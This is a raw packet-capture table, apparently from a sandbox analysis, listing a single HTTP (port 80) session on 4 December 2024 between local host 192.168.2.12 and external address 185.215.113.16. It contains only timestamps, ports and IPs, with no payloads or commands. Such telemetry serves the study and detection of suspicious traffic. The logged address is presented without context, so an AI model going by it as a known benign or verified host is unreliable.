Dec 4, 2024 16:10:59.876173973 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.877795935 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.877943993 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.877989054 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.879950047 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.880069971 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.880115032 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.881491899 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.881544113 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.881591082 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.883361101 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.883421898 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.883471012 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.885647058 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.885756016 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.885808945 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.887449026 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.887561083 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.887613058 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.889141083 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.889244080 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.889297962 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.890790939 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.890922070 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.890974998 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.892426968 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.892510891 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.892565012 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.894249916 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.894464970 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.894514084 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.895947933 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.896044970 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.896091938 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.897845984 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.898036957 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.898080111 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.899473906 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.899571896 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.899620056 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.901360035 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.901427031 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.901475906 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.903085947 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.903187990 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.903254986 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.904947996 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.905070066 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.905114889 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.906677961 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.906876087 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.906936884 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.994066000 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.994164944 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.994244099 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.994930983 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.995012045 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.995063066 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.996659994 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.996771097 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:10:59.996819019 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:10:59.998312950 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.013360977 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.013415098 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.013442039 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.013698101 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.013742924 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.013756037 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.015181065 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.015223026 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.015260935 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.016210079 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.016258955 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.016307116 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.017684937 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.017730951 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.017798901 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.019156933 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.019203901 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.019239902 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.020627022 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.020673990 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.020704031 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.022020102 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.022063017 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.022171974 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.023446083 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.023502111 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.023538113 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.024804115 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.024846077 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.024861097 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.026263952 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.026284933 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.026304960 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.027633905 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.027653933 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.027682066 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.028922081 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.028969049 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.029050112 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.030267000 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.030308008 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.030342102 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.031826019 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.031840086 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.031872034 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.032931089 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.032974958 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.033004999 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.034275055 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.034328938 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.034445047 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.035633087 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.035691977 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.035722017 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.036962032 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.037010908 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.037091017 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.038291931 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.038345098 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.038435936 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.039660931 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.039705038 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.039710045 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.040987968 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.041032076 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.041106939 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.042346954 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.042396069 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.042455912 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.043652058 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.043749094 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.043760061 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.044972897 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.045022964 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.045094967 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.046457052 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.046490908 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.046504021 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.047769070 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.047816992 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.047883034 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.049139023 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.049179077 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.049182892 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.050628901 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.050676107 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.050714016 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.051858902 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.051911116 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.051923037 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.053030968 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.053081989 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.053121090 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.054373980 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.054420948 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.054454088 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.055762053 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.055814028 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.055841923 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.058263063 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.058367014 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.058408022 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.059257030 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.059309006 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.059360027 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.059820890 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.059871912 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.059896946 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.061101913 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.061156034 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.061289072 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.062473059 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.062515974 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.062608004 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.063906908 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.063954115 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.064028025 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.065380096 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.065468073 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.065507889 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.066493988 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.066543102 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.066586971 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.067833900 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.067888975 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.068042994 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.069120884 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.069164038 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.069186926 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.070435047 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.070482969 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.070571899 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.071805954 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.071855068 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.072170019 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.073198080 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.073244095 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.073352098 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.074542999 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.074595928 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.074614048 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.075886965 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.075962067 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.075975895 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.077199936 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.077249050 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.077342987 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.078814983 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.078859091 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.078869104 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.080195904 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.080254078 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.186551094 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.186681032 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.186758995 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.187112093 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.187179089 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.187231064 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.188312054 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.188405037 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.188453913 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.189589977 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.205862045 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.205878019 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.205976963 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.206275940 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.206324100 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.206450939 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.208477020 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.208492041 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.208534002 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.209450006 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.209501982 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.209532022 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.210751057 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.210855961 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.210894108 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.212236881 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.212306023 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.212332964 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.213231087 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.213284016 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.213346004 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.214287043 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.214339972 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.214358091 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.215318918 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.215370893 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.215445995 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.216370106 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.216425896 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.216526985 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.217653990 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.217710018 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.217753887 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.218698025 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.218754053 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.218835115 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.219625950 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.219676971 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.219748974 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.220769882 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.220820904 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.220882893 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.221817017 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.221863985 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.221863985 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.222799063 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.222851992 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.222877979 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.223906994 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.223957062 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.224056005 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.224962950 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.225011110 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.225033998 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.226016045 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.226066113 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.226151943 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.227067947 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.227123022 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.227129936 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.227974892 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.228027105 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.228048086 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.228936911 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.228986025 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.229043007 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.230098963 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.230110884 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.230148077 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.231062889 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.231132030 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.231162071 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.231990099 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.232038021 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.232067108 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.233119965 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.233131886 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.233186007 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.234230995 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.234285116 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.234308004 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.235217094 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.235264063 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.235348940 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.236326933 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.236368895 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.236433983 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.237405062 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.237463951 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.237494946 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.238502026 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.238574982 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.238687038 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.239725113 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.239777088 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.239804983 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.240832090 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.240890026 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.240957975 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.241940022 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.241996050 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.242038965 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.242995024 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.243053913 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.243072987 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.244129896 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.244179010 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.244230032 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.245223045 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.245273113 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.245335102 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.246361017 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.246406078 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:00.246576071 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.247587919 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:00.247625113 CET	49724	80	192.168.2.12	185.215.113.16
